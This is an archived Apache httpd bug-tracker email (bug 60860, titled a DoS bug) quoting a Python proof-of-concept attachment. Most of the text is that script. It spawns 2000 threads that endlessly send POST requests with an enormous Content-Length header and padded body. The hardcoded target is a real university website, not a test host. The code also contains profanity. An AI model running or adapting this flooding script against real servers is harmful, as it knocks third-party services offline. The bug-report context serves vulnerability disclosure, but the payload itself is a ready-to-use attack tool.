You are viewing a plain text version of this content. The canonical link for it is here.
Posted to bugs@httpd.apache.org by bu...@apache.org on 2017/03/14 09:05:03 UTC

[Bug 60860] Apache httpd Dos Bug

https://bz.apache.org/bugzilla/show_bug.cgi?id=60860

--- Comment #1 from buch0 <bu...@gmail.com> ---
Comment on attachment 34819
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=34819
poc

> #! /usr/bin/env python
> 
>import httplib,urllib
>import time
>import sys
>import threading
>import subprocess
>import random
> 
>aurl = ""
>aport = 0
>
>def send_request(method, url, path):
>    try:
>
>        c = httplib.HTTPConnection(url, aport)
>        
>        buf = ""
>        for num in range(2000):
>            buf += "AAAAA"
>        
>        headers = {'Content-Length': str(0xFFFFFFFFFFF),'Content-Type': 'text/html','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36'}
>
>        params = urllib.urlencode({'bitch': buf})
>        c.request(method,path,body=params,headers=headers);
>
>        print c.getresponse().read()
>        c.close()
>    except Exception, e:
>        print "fuck"
>        pass
>
>def requests():
>            while True:
>             send_request("POST", aurl, "")
>         
>aurl = "www.kagawa-u.ac.jp"
>aport = 80
>
>for num in range(2000):
> threading.Thread(target=requests).start()

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: bugs-unsubscribe@httpd.apache.org
For additional commands, e-mail: bugs-help@httpd.apache.org